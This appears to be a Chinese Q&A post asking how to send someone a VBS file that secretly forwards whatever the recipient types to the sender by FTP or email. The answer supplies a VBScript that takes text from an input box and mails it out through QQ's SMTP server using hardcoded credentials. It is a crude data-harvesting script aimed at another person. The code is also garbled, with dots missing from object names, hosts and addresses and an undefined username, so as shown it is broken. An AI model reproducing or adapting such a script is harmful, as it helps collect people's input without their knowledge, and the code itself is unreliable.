一个VBS发给别人,怎么能把对方输入的内容自动上传到FTP或者发送邮件给我。

表白网•4月前•资讯•阅读7

将输入的内容作为邮件内容发动，发邮件：

'═════代═══码═══开═══始═════
Set Email = CreateObject("CDOMessage")
a=inputbox("邮件的内容","","")
strName = ""
EmailFrom = "1234567890000@qqcom" '你的qq邮箱
pass="1234567890"'你的qq密码
EmailTo = "1234567890000@qqcom" '目的地址
EmailSubject = ""
EmailTextbody =a
with EmailConfigurationFields
Item(strName & "sendusing") = 2
Item(strName & "smtpserver") = "smtpqqcom"
Item(strName & "smtpserverport") = 25
Item(strName & "smtpauthenticate") = 1
Item(strName & "sendusername") = qq
Item(strName & "sendpassword") = pass
Update
End With
Emailsend
'Created By escortmnm from VBS团队
'═════代═══码═══结═══束═════